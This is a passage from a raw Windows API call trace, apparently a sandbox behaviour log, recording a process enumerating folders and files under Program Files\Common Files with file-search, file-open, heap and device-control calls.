(HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.768] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.768] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0244.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.768] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.768] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923838 [0244.768] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920410 [0244.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923940 [0244.768] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.768] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0244.769] GetLastError () returned 0x12 [0244.769] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd660 [0244.769] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0244.769] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.769] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0244.769] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923a48 [0244.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0244.769] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0244.769] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.769] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0244.769] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.769] NtClose (Handle=0x1b8) returned 0x0 [0244.770] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923a48) returned 1 [0244.770] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.770] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.770] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923a48 [0244.770] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.770] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923b50 [0244.770] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0244.770] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe72c | out: lpFindFileData=0x15fe72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.770] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe72c | out: lpFindFileData=0x15fe72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.770] GetLastError () returned 0x12 [0244.770] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0244.770] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0244.770] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe72c | out: lpFindFileData=0x15fe72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.770] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe72c | out: lpFindFileData=0x15fe72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.770] GetLastError () returned 0x12 [0244.770] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923b50) returned 1 [0244.770] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.770] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923a48) returned 1 [0244.771] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0244.771] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0244.771] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0244.771] GetLastError () returned 0x12 [0244.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923520) returned 1 [0244.771] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923838) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923628) returned 1 [0244.771] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0244.771] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0244.771] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0244.771] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0244.771] GetLastError () returned 0x12 [0244.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6960) returned 1 [0244.771] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.771] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0244.771] GetLastError () returned 0x12 [0244.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.771] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.772] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0244.772] GetLastError () returned 0x12 [0244.772] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.772] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0244.772] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0244.772] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0244.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0244.781] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0244.781] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.781] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0244.781] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.781] NtClose (Handle=0x170) returned 0x0 [0244.782] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0244.782] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0244.782] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0244.782] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.782] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd4e0 [0244.784] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="")) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0244.785] GetLastError () returned 0x12 [0244.785] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0244.785] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.785] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0244.785] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | 